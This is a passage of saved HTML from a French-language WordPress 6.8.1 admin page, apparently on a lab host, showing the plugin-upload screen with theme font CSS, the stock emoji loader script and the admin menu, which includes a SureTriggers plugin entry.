@font-face{font-family:"Roboto Slab";font-style:normal;font-weight:100 900;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/roboto-slab/RobotoSlab-VariableFont_wght.woff2') format('woff2');}
@font-face{font-family:Manrope;font-style:normal;font-weight:200 800;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/manrope/Manrope-VariableFont_wght.woff2') format('woff2');}
@font-face{font-family:Literata;font-style:normal;font-weight:200;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-ExtraLight.woff2') format('woff2');}
@font-face{font-family:Literata;font-style:italic;font-weight:200;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-ExtraLightItalic.woff2') format('woff2');}
@font-face{font-family:Literata;font-style:normal;font-weight:300;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-Light.woff2') format('woff2');}
@font-face{font-family:Literata;font-style:italic;font-weight:300;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-LightItalic.woff2') format('woff2');}
@font-face{font-family:Literata;font-style:normal;font-weight:400;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-Regular.woff2') format('woff2');}
@font-face{font-family:Literata;font-style:italic;font-weight:400;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-RegularItalic.woff2') format('woff2');}
@font-face{font-family:Literata;font-style:normal;font-weight:500;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-Medium.woff2') format('woff2');}
@font-face{font-family:Literata;font-style:italic;font-weight:500;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-MediumItalic.woff2') format('woff2');}
@font-face{font-family:Literata;font-style:normal;font-weight:600;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-SemiBold.woff2') format('woff2');}
@font-face{font-family:Literata;font-style:italic;font-weight:600;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-SemiBoldItalic.woff2') format('woff2');}
@font-face{font-family:Literata;font-style:normal;font-weight:700;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-Bold.woff2') format('woff2');}
@font-face{font-family:Literata;font-style:italic;font-weight:700;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-BoldItalic.woff2') format('woff2');}
@font-face{font-family:Literata;font-style:normal;font-weight:800;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-ExtraBold.woff2') format('woff2');}
@font-face{font-family:Literata;font-style:italic;font-weight:800;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-ExtraBoldItalic.woff2') format('woff2');}
@font-face{font-family:Literata;font-style:normal;font-weight:900;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-Black.woff2') format('woff2');}
@font-face{font-family:Literata;font-style:italic;font-weight:900;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-BlackItalic.woff2') format('woff2');}
@font-face{font-family:"Ysabeau Office";font-style:normal;font-weight:100 900;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/ysabeau-office/YsabeauOffice-VariableFont_wght.woff2') format('woff2');}
@font-face{font-family:"Ysabeau Office";font-style:italic;font-weight:100 900;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/ysabeau-office/YsabeauOffice-Italic-VariableFont_wght.woff2') format('woff2');}
@font-face{font-family:Platypi;font-style:normal;font-weight:300 800;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/platypi/Platypi-VariableFont_wght.woff2') format('woff2');}
@font-face{font-family:Platypi;font-style:italic;font-weight:300 800;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/platypi/Platypi-Italic-VariableFont_wght.woff2') format('woff2');}
@font-face{font-family:Literata;font-style:normal;font-weight:200;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-ExtraLight.woff2') format('woff2');}
@font-face{font-family:Literata;font-style:italic;font-weight:200;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-ExtraLightItalic.woff2') format('woff2');}
@font-face{font-family:Literata;font-style:normal;font-weight:300;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-Light.woff2') format('woff2');}
@font-face{font-family:Literata;font-style:italic;font-weight:300;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-LightItalic.woff2') format('woff2');}
@font-face{font-family:Literata;font-style:normal;font-weight:400;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-Regular.woff2') format('woff2');}
@font-face{font-family:Literata;font-style:italic;font-weight:400;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-RegularItalic.woff2') format('woff2');}
@font-face{font-family:Literata;font-style:normal;font-weight:500;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-Medium.woff2') format('woff2');}
@font-face{font-family:Literata;font-style:italic;font-weight:500;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-MediumItalic.woff2') format('woff2');}
@font-face{font-family:Literata;font-style:normal;font-weight:600;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-SemiBold.woff2') format('woff2');}
@font-face{font-family:Literata;font-style:italic;font-weight:600;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-SemiBoldItalic.woff2') format('woff2');}
@font-face{font-family:Literata;font-style:normal;font-weight:700;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-Bold.woff2') format('woff2');}
@font-face{font-family:Literata;font-style:italic;font-weight:700;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-BoldItalic.woff2') format('woff2');}
@font-face{font-family:Literata;font-style:normal;font-weight:800;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-ExtraBold.woff2') format('woff2');}
@font-face{font-family:Literata;font-style:italic;font-weight:800;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-ExtraBoldItalic.woff2') format('woff2');}
@font-face{font-family:Literata;font-style:normal;font-weight:900;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-Black.woff2') format('woff2');}
@font-face{font-family:Literata;font-style:italic;font-weight:900;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-BlackItalic.woff2') format('woff2');}
@font-face{font-family:Literata;font-style:normal;font-weight:200;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-ExtraLight.woff2') format('woff2');}
@font-face{font-family:Literata;font-style:italic;font-weight:200;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-ExtraLightItalic.woff2') format('woff2');}
@font-face{font-family:Literata;font-style:normal;font-weight:300;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-Light.woff2') format('woff2');}
@font-face{font-family:Literata;font-style:italic;font-weight:300;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-LightItalic.woff2') format('woff2');}
@font-face{font-family:Literata;font-style:normal;font-weight:400;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-Regular.woff2') format('woff2');}
@font-face{font-family:Literata;font-style:italic;font-weight:400;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-RegularItalic.woff2') format('woff2');}
@font-face{font-family:Literata;font-style:normal;font-weight:500;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-Medium.woff2') format('woff2');}
@font-face{font-family:Literata;font-style:italic;font-weight:500;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-MediumItalic.woff2') format('woff2');}
@font-face{font-family:Literata;font-style:normal;font-weight:600;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-SemiBold.woff2') format('woff2');}
@font-face{font-family:Literata;font-style:italic;font-weight:600;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-SemiBoldItalic.woff2') format('woff2');}
@font-face{font-family:Literata;font-style:normal;font-weight:700;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-Bold.woff2') format('woff2');}
@font-face{font-family:Literata;font-style:italic;font-weight:700;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-BoldItalic.woff2') format('woff2');}
@font-face{font-family:Literata;font-style:normal;font-weight:800;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-ExtraBold.woff2') format('woff2');}
@font-face{font-family:Literata;font-style:italic;font-weight:800;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-ExtraBoldItalic.woff2') format('woff2');}
@font-face{font-family:Literata;font-style:normal;font-weight:900;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-Black.woff2') format('woff2');}
@font-face{font-family:Literata;font-style:italic;font-weight:900;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-BlackItalic.woff2') format('woff2');}
@font-face{font-family:"Fira Sans";font-style:normal;font-weight:100;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/fira-sans/FiraSans-Thin.woff2') format('woff2');}
@font-face{font-family:"Fira Sans";font-style:italic;font-weight:100;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/fira-sans/FiraSans-ThinItalic.woff2') format('woff2');}
@font-face{font-family:"Fira Sans";font-style:normal;font-weight:200;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/fira-sans/FiraSans-ExtraLight.woff2') format('woff2');}
@font-face{font-family:"Fira Sans";font-style:italic;font-weight:200;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/fira-sans/FiraSans-ExtraLightItalic.woff2') format('woff2');}
@font-face{font-family:"Fira Sans";font-style:normal;font-weight:300;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/fira-sans/FiraSans-Light.woff2') format('woff2');}
@font-face{font-family:"Fira Sans";font-style:italic;font-weight:300;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/fira-sans/FiraSans-LightItalic.woff2') format('woff2');}
@font-face{font-family:"Fira Sans";font-style:italic;font-weight:400;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/fira-sans/FiraSans-Italic.woff2') format('woff2');}
@font-face{font-family:"Fira Sans";font-style:normal;font-weight:400;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/fira-sans/FiraSans-Regular.woff2') format('woff2');}
@font-face{font-family:"Fira Sans";font-style:normal;font-weight:500;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/fira-sans/FiraSans-Medium.woff2') format('woff2');}
@font-face{font-family:"Fira Sans";font-style:italic;font-weight:500;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/fira-sans/FiraSans-MediumItalic.woff2') format('woff2');}
@font-face{font-family:"Fira Sans";font-style:normal;font-weight:600;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/fira-sans/FiraSans-SemiBold.woff2') format('woff2');}
@font-face{font-family:"Fira Sans";font-style:italic;font-weight:600;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/fira-sans/FiraSans-SemiBoldItalic.woff2') format('woff2');}
@font-face{font-family:"Fira Sans";font-style:normal;font-weight:700;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/fira-sans/FiraSans-Bold.woff2') format('woff2');}
@font-face{font-family:"Fira Sans";font-style:italic;font-weight:700;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/fira-sans/FiraSans-BoldItalic.woff2') format('woff2');}
@font-face{font-family:"Fira Sans";font-style:normal;font-weight:800;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/fira-sans/FiraSans-ExtraBold.woff2') format('woff2');}
@font-face{font-family:"Fira Sans";font-style:italic;font-weight:800;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/fira-sans/FiraSans-ExtraBoldItalic.woff2') format('woff2');}
@font-face{font-family:"Fira Sans";font-style:normal;font-weight:900;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/fira-sans/FiraSans-Black.woff2') format('woff2');}
@font-face{font-family:"Fira Sans";font-style:italic;font-weight:900;font-display:fallback;src:url('http://lab:5555/wp-content/themes/twentytwentyfive/assets/fonts/fira-sans/FiraSans-BlackItalic.woff2') format('woff2');}
</style>
<script>
window._wpemojiSettings = {"baseUrl":"https:\/\/s.w.org\/images\/core\/emoji\/15.1.0\/72x72\/","ext":".png","svgUrl":"https:\/\/s.w.org\/images\/core\/emoji\/15.1.0\/svg\/","svgExt":".svg","source":{"concatemoji":"http:\/\/lab:5555\/wp-includes\/js\/wp-emoji-release.min.js?ver=6.8.1"}};
/*! This file is auto-generated */
!function(i,n){var o,s,e;function c(e){try{var t={supportTests:e,timestamp:(new Date).valueOf()};sessionStorage.setItem(o,JSON.stringify(t))}catch(e){}}function p(e,t,n){e.clearRect(0,0,e.canvas.width,e.canvas.height),e.fillText(t,0,0);var t=new Uint32Array(e.getImageData(0,0,e.canvas.width,e.canvas.height).data),r=(e.clearRect(0,0,e.canvas.width,e.canvas.height),e.fillText(n,0,0),new Uint32Array(e.getImageData(0,0,e.canvas.width,e.canvas.height).data));return t.every(function(e,t){return e===r[t]})}function u(e,t,n){switch(t){case"flag":return n(e,"\ud83c\udff3\ufe0f\u200d\u26a7\ufe0f","\ud83c\udff3\ufe0f\u200b\u26a7\ufe0f")?!1:!n(e,"\ud83c\uddfa\ud83c\uddf3","\ud83c\uddfa\u200b\ud83c\uddf3")&&!n(e,"\ud83c\udff4\udb40\udc67\udb40\udc62\udb40\udc65\udb40\udc6e\udb40\udc67\udb40\udc7f","\ud83c\udff4\u200b\udb40\udc67\u200b\udb40\udc62\u200b\udb40\udc65\u200b\udb40\udc6e\u200b\udb40\udc67\u200b\udb40\udc7f");case"emoji":return!n(e,"\ud83d\udc26\u200d\ud83d\udd25","\ud83d\udc26\u200b\ud83d\udd25")}return!1}function f(e,t,n){var r="undefined"!=typeof WorkerGlobalScope&&self instanceof WorkerGlobalScope?new OffscreenCanvas(300,150):i.createElement("canvas"),a=r.getContext("2d",{willReadFrequently:!0}),o=(a.textBaseline="top",a.font="600 32px Arial",{});return e.forEach(function(e){o[e]=t(a,e,n)}),o}function t(e){var t=i.createElement("script");t.src=e,t.defer=!0,i.head.appendChild(t)}"undefined"!=typeof Promise&&(o="wpEmojiSettingsSupports",s=["flag","emoji"],n.supports={everything:!0,everythingExceptFlag:!0},e=new Promise(function(e){i.addEventListener("DOMContentLoaded",e,{once:!0})}),new Promise(function(t){var n=function(){try{var e=JSON.parse(sessionStorage.getItem(o));if("object"==typeof e&&"number"==typeof e.timestamp&&(new Date).valueOf()<e.timestamp+604800&&"object"==typeof e.supportTests)return e.supportTests}catch(e){}return null}();if(!n){if("undefined"!=typeof Worker&&"undefined"!=typeof OffscreenCanvas&&"undefined"!=typeof URL&&URL.createObjectURL&&"undefined"!=typeof Blob)try{var e="postMessage("+f.toString()+"("+[JSON.stringify(s),u.toString(),p.toString()].join(",")+"));",r=new Blob([e],{type:"text/javascript"}),a=new Worker(URL.createObjectURL(r),{name:"wpTestEmojiSupports"});return void(a.onmessage=function(e){c(n=e.data),a.terminate(),t(n)})}catch(e){}c(n=f(s,u,p))}t(n)}).then(function(e){for(var t in e)n.supports[t]=e[t],n.supports.everything=n.supports.everything&&n.supports[t],"flag"!==t&&(n.supports.everythingExceptFlag=n.supports.everythingExceptFlag&&n.supports[t]);n.supports.everythingExceptFlag=n.supports.everythingExceptFlag&&!n.supports.flag,n.DOMReady=!1,n.readyCallback=function(){n.DOMReady=!0}}).then(function(){return e}).then(function(){var e;n.supports.everything||(n.readyCallback(),(e=n.source||{}).concatemoji?t(e.concatemoji):e.wpemoji&&e.twemoji&&(t(e.twemoji),t(e.wpemoji)))}))}((window,document),window._wpemojiSettings);
</script>
<script>
/* <![CDATA[ */
var userSettings = {"url":"\/","uid":"3","time":"1748446368","secure":""};/* ]]> */
</script>
<script src='http://lab:5555/wp-admin/load-scripts.php?c=0&load%5Bchunk_0%5D=jquery-core,jquery-migrate,utils&ver=6.8.1'></script>
<script type="text/javascript">var _wpColorScheme = {"icons":{"base":"#a7aaad","focus":"#72aee6","current":"#fff"}};</script>
<link id="wp-admin-canonical" rel="canonical" href="http://lab:5555/wp-admin/update.php?action=upload-plugin" />
<script>
if ( window.history.replaceState ) {
window.history.replaceState( null, null, document.getElementById( 'wp-admin-canonical' ).href + window.location.hash );
}
</script>
<meta name="viewport" content="width=device-width,initial-scale=1.0"></head>
<body class="wp-admin wp-core-ui no-js update-php auto-fold admin-bar branch-6-8 version-6-8-1 admin-color-fresh locale-fr-fr no-customize-support svg wp-theme-twentytwentyfive">
<script type="text/javascript">
document.body.className = document.body.className.replace('no-js','js');
</script>
<script>
(function() {
var request, b = document.body, c = 'className', cs = 'customize-support', rcs = new RegExp('(^|\\s+)(no-)?'+cs+'(\\s+|$)');
request = true;
b[c] = b[c].replace( rcs, ' ' );
// The customizer requires postMessage and CORS (if the site is cross domain).
b[c] += ( window.postMessage && request ? ' ' : ' no-' ) + cs;
}());
</script>
<div id="wpwrap">
<div id="adminmenumain" role="navigation" aria-label="Menu principal">
<a href="#wpbody-content" class="screen-reader-shortcut">Aller au contenu principal</a>
<a href="#wp-toolbar" class="screen-reader-shortcut">Aller à la barre d’outils</a>
<div id="adminmenuback"></div>
<div id="adminmenuwrap">
<ul id="adminmenu">
<li class="wp-first-item wp-has-submenu wp-not-current-submenu menu-top menu-top-first menu-icon-dashboard menu-top-last" id="menu-dashboard">
<a href='index.php' class="wp-first-item wp-has-submenu wp-not-current-submenu menu-top menu-top-first menu-icon-dashboard menu-top-last" data-ariahaspopup><div class='wp-menu-image dashicons-before dashicons-dashboard' aria-hidden='true'><br /></div><div class='wp-menu-name'>Tableau de bord</div></a>
<ul class='wp-submenu wp-submenu-wrap'><li class='wp-submenu-head' aria-hidden='true'>Tableau de bord</li><li class="wp-first-item"><a href='index.php' class="wp-first-item">Accueil</a></li><li><a href='update-core.php'>Mises à jour <span class="update-plugins count-2"><span class="update-count">2</span></span></a></li></ul></li>
<li class="wp-not-current-submenu wp-menu-separator" aria-hidden="true"><div class="separator"></div></li>
<li class="wp-has-submenu wp-not-current-submenu menu-top menu-icon-post open-if-no-js menu-top-first" id="menu-posts">
<a href='edit.php' class="wp-has-submenu wp-not-current-submenu menu-top menu-icon-post open-if-no-js menu-top-first" data-ariahaspopup><div class='wp-menu-image dashicons-before dashicons-admin-post' aria-hidden='true'><br /></div><div class='wp-menu-name'>Articles</div></a>
<ul class='wp-submenu wp-submenu-wrap'><li class='wp-submenu-head' aria-hidden='true'>Articles</li><li class="wp-first-item"><a href='edit.php' class="wp-first-item">Tous les articles</a></li><li><a href='post-new.php'>Ajouter un article</a></li><li><a href='edit-tags.php?taxonomy=category'>Catégories</a></li><li><a href='edit-tags.php?taxonomy=post_tag'>Étiquettes</a></li></ul></li>
<li class="wp-has-submenu wp-not-current-submenu menu-top menu-icon-media" id="menu-media">
<a href='upload.php' class="wp-has-submenu wp-not-current-submenu menu-top menu-icon-media" data-ariahaspopup><div class='wp-menu-image dashicons-before dashicons-admin-media' aria-hidden='true'><br /></div><div class='wp-menu-name'>Médias</div></a>
<ul class='wp-submenu wp-submenu-wrap'><li class='wp-submenu-head' aria-hidden='true'>Médias</li><li class="wp-first-item"><a href='upload.php' class="wp-first-item">Médiathèque</a></li><li><a href='media-new.php'>Ajouter un fichier média</a></li></ul></li>
<li class="wp-has-submenu wp-not-current-submenu menu-top menu-icon-page" id="menu-pages">
<a href='edit.php?post_type=page' class="wp-has-submenu wp-not-current-submenu menu-top menu-icon-page" data-ariahaspopup><div class='wp-menu-image dashicons-before dashicons-admin-page' aria-hidden='true'><br /></div><div class='wp-menu-name'>Pages</div></a>
<ul class='wp-submenu wp-submenu-wrap'><li class='wp-submenu-head' aria-hidden='true'>Pages</li><li class="wp-first-item"><a href='edit.php?post_type=page' class="wp-first-item">Toutes les pages</a></li><li><a href='post-new.php?post_type=page'>Ajouter une page</a></li></ul></li>
<li class="wp-not-current-submenu menu-top menu-icon-comments" id="menu-comments">
<a href='edit-comments.php' class="wp-not-current-submenu menu-top menu-icon-comments" ><div class='wp-menu-image dashicons-before dashicons-admin-comments' aria-hidden='true'><br /></div><div class='wp-menu-name'>Commentaires <span class="awaiting-mod count-0"><span class="pending-count" aria-hidden="true">0</span><span class="comments-in-moderation-text screen-reader-text">0 commentaire en modération</span></span></div></a></li>
<li class="wp-has-submenu wp-not-current-submenu menu-top toplevel_page_suretriggers menu-top-last" id="toplevel_page_suretriggers"><a href='admin.php?page=suretriggers' class="wp-has-submenu wp-not-current-submenu menu-top toplevel_page_suretriggers menu-top-last" data-ariahaspopup><div class='wp-menu-image svg' style="background-image:url('data:image/svg+xml;base64,PHN2ZyB3aWR0aD0iMzYiIGhlaWdodD0iMzYiIHZpZXdCb3g9IjAgMCAzNiAzNiIgZmlsbD0ibm9uZSIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj4KPHBhdGggZmlsbC1ydWxlPSJldmVub2RkIiBjbGlwLXJ1bGU9ImV2ZW5vZGQiIGQ9Ik0xNy41MTkgMzUuNUMyNy4xOTQ0IDM1LjUgMzUuMDM3OSAyNy42NjUgMzUuMDM3OSAxOEMzNS4wMzc5IDguMzM1MDIgMjcuMTk0NCAwLjUgMTcuNTE5IDAuNUM3Ljg0MzUxIDAuNSAwIDguMzM1MDIgMCAxOEMwIDI3LjY2NSA3Ljg0MzUxIDM1LjUgMTcuNTE5IDM1LjVaTTE3LjU5NDQgOS4yNUMxNi4xODc3IDkuMjUgMTQuMjQxIDEwLjA1MzYgMTMuMjQ2MyAxMS4wNDQ5TDEwLjU0NDggMTMuNzM3MkgyNC4wMTA0TDI4LjUxMjkgOS4yNUgxNy41OTQ0Wk0yMS43Njg5IDI0Ljk1NTFDMjAuNzc0MiAyNS45NDY0IDE4LjgyNzUgMjYuNzUgMTcuNDIwOCAyNi43NUg2LjUwMjI4TDExLjAwNDggMjIuMjYyOEgyNC40NzA0TDIxLjc2ODkgMjQuOTU1MVpNMjYuMTQ1MyAxNS45ODA4SDguMjk4MzdMNy40NTUzNSAxNi44MjIxQzUuNDU5MiAxOC42MTcgNi4wNTEyMyAyMC4wMTkyIDguODQ2NzUgMjAuMDE5MkgyNi43NDJMMjcuNTg1MyAxOS4xNzc5QzI5LjU2MiAxNy4zOTM2IDI4Ljk0MDggMTUuOTgwOCAyNi4xNDUzIDE1Ljk4MDhaIiBmaWxsPSIjMkQ2NEZCIi8+Cjwvc3ZnPgo=')" aria-hidden='true'><br /></div><div class='wp-menu-name'>SureTriggers</div></a>
<ul class='wp-submenu wp-submenu-wrap'><li class='wp-submenu-head' aria-hidden='true'>SureTriggers</li><li class="wp-first-item"><a href='admin.php?page=suretriggers' class="wp-first-item">SureTriggers</a></li><li><a href='admin.php?page=suretriggers-status'>Status</a></li></ul></li>
<li class="wp-not-current-submenu wp-menu-separator" aria-hidden="true"><div class="separator"></div></li>
<li class="wp-has-submenu wp-not-current-submenu menu-top menu-icon-appearance menu-top-first" id="menu-appearance">
<a href='themes.php' class="wp-has-submenu wp-not-current-submenu menu-top menu-icon-appearance menu-top-first" data-ariahaspopup><div class='wp-menu-image dashicons-before dashicons-admin-appearance' aria-hidden='true'><br /></div><div class='wp-menu-name'>Apparence</div></a>
<ul class='wp-submenu wp-submenu-wrap'><li class='wp-submenu-head' aria-hidden='true'>Apparence</li><li class="wp-first-item"><a href='themes.php' class="wp-first-item">Thèmes <span class="update-plugins count-0"><span class="theme-count">0</span></span></a></li><li><a href='site-editor.php'>Éditeur</a></li></ul></li>
<li class="wp-has-submenu wp-has-current-submenu wp-menu-open menu-top menu-icon-plugins" id="menu-plugins">
<a href='plugins.php' class="wp-has-submenu wp-has-current-submenu wp-menu-open menu-top menu-icon-plugins" ><div class='wp-menu-image dashicons-before dashicons-admin-plugins' aria-hidden='true'><br /></div><div class='wp-menu-name'>Extensions <span class="update-plugins count-2"><span class="plugin-count">2</span></span></div></a>
<ul class='wp-submenu wp-submenu-wrap'><li class='wp-submenu-head' aria-hidden='true'>Extensions <span class="update-plugins count-2"><span class="plugin-count">2</span></span></li><li class="wp-first-item"><a href='plugins.php' class="wp-first-item">Extensions installées</a></li><li class="current"><a href='plugin-install.php' class="current" aria-current="page">Ajouter une extension</a></li></ul></li>
<li class="wp-has-submenu wp-not-current-submenu menu-top menu-icon-users" id="menu-users">
<a href='users.php' class="wp-has-submenu wp-not-current-submenu menu-top menu-icon-users" data-ariahaspopup><div class='wp-menu-image dashicons-before dashicons-admin-users' aria-hidden='true'><br /></div><div class='wp-menu-name'>Comptes</div></a>
<ul class='wp-submenu wp-submenu-wrap'><li class='wp-submenu-head' aria-hidden='true'>Comptes</li><li class="wp-first-item"><a href='users.php' class="wp-first-item">Tous les comptes</a></li><li><a href='user-new.php'>Ajouter un compte</a></li><li><a href='profile.php'>Profil</a></li></ul></li>
<li class="wp-has-submenu wp-not-current-submenu menu-top menu-icon-tools" id="menu-tools">
<a href='tools.php' class="wp-has-submenu wp-not-current-submenu menu-top menu-icon-tools" data-ariahaspopup><div class='wp-menu-image dashicons-before dashicons-admin-tools' aria-hidden='true'><br /></div><div class='wp-menu-name'>Outils</div></a>
<ul class='wp-submenu wp-submenu-wrap'><li class='wp-submenu-head' aria-hidden='true'>Outils</li><li class="wp-first-item"><a href='tools.php' class="wp-first-item">Outils disponibles</a></li><li><a href='import.php'>Importer</a></li><li><a href='export.php'>Exporter</a></li><li><a href='site-health.php'>Santé du site <span class="menu-counter site-health-counter count-0"><span class="count">0</span></span></a></li><li><a href='export-personal-data.php'>Exporter les données</a></li><li><a href='erase-personal-data.php'>Effacer les données</a></li><li><a href='theme-editor.php'>Éditeur de fichiers des thèmes</a></li><li><a href='plugin-editor.php'>Éditeur de fichiers des extensions</a></li></ul></li>
<li class="wp-has-submenu wp-not-current-submenu menu-top menu-icon-settings menu-top-last" id="menu-settings">
<a href='options-general.php' class="wp-has-submenu wp-not-current-submenu menu-top menu-icon-settings menu-top-last" data-ariahaspopup><div class='wp-menu-image dashicons-before dashicons-admin-settings' aria-hidden='true'><br /></div><div class='wp-menu-name'>Réglages</div></a>
<ul class='wp-submenu wp-submenu-wrap'><li class='wp-submenu-head' aria-hidden='true'>Réglages</li><li class="wp-first-item"><a href='options-general.php' class="wp-first-item">Général</a></li><li><a href='options-writing.php'>Écriture</a></li><li><a href='options-reading.php'>Lecture</a></li><li><a href='options-discussion.php'>Commentaires</a></li><li><a href='options-media.php'>Médias</a></li><li><a href='options-permalink.php'>Permaliens</a></li><li><a href='options-privacy.php'>Confidentialité</a></li></ul></li><li id="collapse-menu" class="hide-if-no-js"><button type="button" id="collapse-button" aria-label="Replier le menu principal" aria-expanded="true"><span class="collapse-button-icon" aria-hidden="true"></span><span class="collapse-button-label">Replier le menu</span></button></li></ul>
</div>
</div>
<div id="wpcontent">
<div id="wpadminbar" class="nojq nojs">
<div class="quicklinks" id="wp-toolbar" role="navigation" aria-label="Barre d’outils">
